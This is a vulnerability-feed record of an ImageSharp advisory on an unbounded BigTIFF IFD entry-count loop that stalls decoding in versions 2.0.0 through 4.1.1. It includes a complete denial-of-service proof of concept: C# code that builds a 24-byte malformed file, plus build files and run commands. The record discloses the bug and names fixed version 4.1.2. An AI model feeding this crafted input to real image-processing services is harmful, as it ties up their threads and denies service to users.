{"schema":"threatline.record/2","record":{"id":"CVE-2026-106116","aliases":["GHSA-wmxv-xphr-5c9g"],"summary":"ImageSharp: BigTIFF IFD count can keep a decoder thread in a non-progressing loop","details":"### Summary\n\n`SixLabors.ImageSharp` 4.1.1 can spend an attacker-controlled duration decoding a\nsmall malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader\niterates once per declared entry, but when fewer than 20 bytes remain for an entry,\nthe entry read returns without advancing. A 24-byte input can therefore run billions\nof iterations without consuming input.\n\nOne decoder invocation occupied one executing thread for more than five seconds in\nthe tested environment. This report makes no worker-pool exhaustion claim.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected range: `>= 2.0.0, <= 4.1.1`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nBigTIFF decoding and the unbounded `ReadValues64` loop first appear in v2.0.0. Every release tag from v2.0.0 through v4.1.1 retains that loop without constraining the entry count or terminating when a truncated entry makes no progress. The 24-byte PoC exceeded the five-second timeout on published v2.0.0 and v4.1.1; the one-entry control returned promptly on both.\n### Details\n\n[`ReadValues64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L220-L231) trusts the 64-bit IFD count and loops once per declared entry. When fewer than 20 bytes remain, [`ReadValue64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L439-L444) returns without advancing the stream or ending the outer loop.\n\n### Tested environment\n\nThe reproduction uses the DLL in the published NuGet 4.1.1 package:\n\n```text\nSixLabors.ImageSharp.dll SHA-256:\nc50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f\nRuntime: .NET 8.0.30 (linux-arm64)\nSDK: 8.0.424\nOS: Debian GNU/Linux 12 (bookworm), Docker\n```\n\n### Reproduction\n\nThe public `Image.Load(Stream)` call receives a 24-byte little-endian BigTIFF\nwith its first IFD at offset 16 and entry count `5000000000`. There are no bytes\nfor an entry. Run the supplied container under a five-second timeout.\n\nComplete observed output:\n\n```text\nbigTiffBytes=24 entryCount=5000000000\ntimeout exit status: 124\n```\n\n`timeout` exit code 124 means the decoder had not returned after five seconds.\n\nThe control is identical except the entry count is `1`:\n\n```text\nbigTiffBytes=24 entryCount=1\ndecoderReturned=InvalidImageContentException message=The TIFF image frame is missing the ImageWidth\nDocker exit status: 0\n```\n\nThe control rejects malformed input promptly; it does not time out.\n\nNo active exploitation is known.\n\n\n### Complete PoC files\n\nProgram.cs:\n\n```csharp\nusing SixLabors.ImageSharp;\n\nstatic class Program\n{\n    // Little-endian BigTIFF: a header, IFD at byte 16, and no IFD entry data.\n    // The count field is controlled by the input.\n    private static byte[] BuildBigTiff(ulong entryCount)\n    {\n        byte[] bytes = new byte[24];\n        bytes[0] = 0x49; bytes[1] = 0x49;               // II\n        bytes[2] = 0x2B; bytes[3] = 0x00;               // BigTIFF magic\n        bytes[4] = 0x08; bytes[5] = 0x00;               // 8-byte offsets\n        BitConverter.GetBytes((ulong)16).CopyTo(bytes, 8);\n        BitConverter.GetBytes(entryCount).CopyTo(bytes, 16);\n        return bytes;\n    }\n\n    private static void Main(string[] args)\n    {\n        ulong entryCount = ulong.Parse(args[0]);\n        byte[] bytes = BuildBigTiff(entryCount);\n        Console.Error.WriteLine($\"bigTiffBytes={bytes.Length} entryCount={entryCount}\");\n        try\n        {\n            using var stream = new MemoryStream(bytes);\n            using Image image = Image.Load(stream);\n            Console.Error.WriteLine(\"completed\");\n        }\n        catch (Exception ex)\n        {\n            Console.Error.WriteLine($\"decoderReturned={ex.GetType().Name} message={ex.Message}\");\n        }\n    }\n}\n\n```\n\nProject file:\n\n```xml\n<Project Sdk=\"Microsoft.NET.Sdk\">\n  <PropertyGroup>\n    <OutputType>Exe</OutputType>\n    <TargetFramework>net8.0</TargetFramework>\n    <ImplicitUsings>enable</ImplicitUsings>\n    <Nullable>enable</Nullable>\n  </PropertyGroup>\n  <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. -->\n  <ItemGroup>\n    <Reference Include=\"SixLabors.ImageSharp\">\n      <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>\n    </Reference>\n    <Reference Include=\"System.IO.Hashing\">\n      <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>\n    </Reference>\n  </ItemGroup>\n</Project>\n\n```\n\nDockerfile:\n\n```dockerfile\nFROM mcr.microsoft.com/dotnet/sdk:8.0\nWORKDIR /work\nCOPY wmxv.csproj Program.cs ./\nRUN printf '%s\\n' '<Project Sdk=\"Microsoft.NET.Sdk\"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include=\"SixLabors.ImageSharp\" Version=\"4.1.1\" /></ItemGroup></Project>' > fetch.csproj \\\n    && dotnet restore fetch.csproj --nologo \\\n    && rm fetch.csproj \\\n    && dotnet build wmxv.csproj -c Release --nologo -v quiet\nENTRYPOINT [\"dotnet\", \"/work/bin/Release/net8.0/wmxv.dll\"]\n\n```\n\nRun:\n\n```sh\ndocker build -t imagesharp-wmxv-poc .\ntimeout 5 docker run --rm imagesharp-wmxv-poc 5000000000\ndocker run --rm imagesharp-wmxv-poc 1\n```","categories":["Libraries & packages"],"product":"SixLabors.ImageSharp","vendor":"SixLabors","ecosystem":"nuget","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-wmxv-xphr-5c9g","source_modified_at":"2026-10-07T20:24:33Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"nuget","name":"SixLabors.ImageSharp"},"range":">= 2.0.0, <= 4.1.1"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-106116","source_modified_at":"2026-10-06T18:21:55.088Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"ImageSharp","vendor":"SixLabors","versions":[{"version":">= 2.0.0, < 4.1.2","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-wmxv-xphr-5c9g","source_modified_at":"2026-10-07T20:30:06.037833730Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"SixLabors.ImageSharp","ecosystem":"NuGet","purl":"pkg:nuget/SixLabors.ImageSharp"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"4.1.2"}]}],"versions":["2.0.0","2.1.0","2.1.1","2.1.10","2.1.11","2.1.12","2.1.13","2.1.2","2.1.3","2.1.4","2.1.5","2.1.6","2.1.7","2.1.8","2.1.9","3.0.0","3.0.1","3.0.2","3.1.0","3.1.1","3.1.10","3.1.11","3.1.12","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","4.0.0","4.1.0","4.1.1"]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-wmxv-xphr-5c9g","source_modified_at":"2026-10-07T20:24:33Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"nuget","name":"SixLabors.ImageSharp"},"version":"4.1.2"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-wmxv-xphr-5c9g","source_modified_at":"2026-10-07T20:30:06.037833730Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"SixLabors.ImageSharp","ecosystem":"NuGet","purl":"pkg:nuget/SixLabors.ImageSharp"},"version":"4.1.2"}],"cvss":5.3,"severity":"Medium","kev":{"listed":false},"epss":{"probability":0.00366,"percentile":0.29272,"score_date":"2026-10-23"},"published_at":"2026-10-06T17:51:36.366Z","modified_at":"2026-10-07T20:30:06.037833730Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-wmxv-xphr-5c9g","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-07T20:24:33Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-106116","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-06T18:21:55.088Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-wmxv-xphr-5c9g","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-07T20:30:06.037833730Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106116","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/SixLabors/ImageSharp/security/advisories/GHSA-wmxv-xphr-5c9g","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106116","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/SixLabors/ImageSharp/pull/3187","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/SixLabors/ImageSharp/commit/92b12d72550ebb6be5b1e22e559c361fd863a6ec","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/SixLabors/ImageSharp/releases/tag/v4.1.2","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-wmxv-xphr-5c9g","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"yes","technical_impact":"partial","assessed_at":"2026-10-06T18:21:43.778832Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-07T20:30:06.037833730Z","content_hash":"3158e08c8abdb8bea06f6aa1e58e6816f73431ed39f249cb8dd14a1746cb9b3c"}}
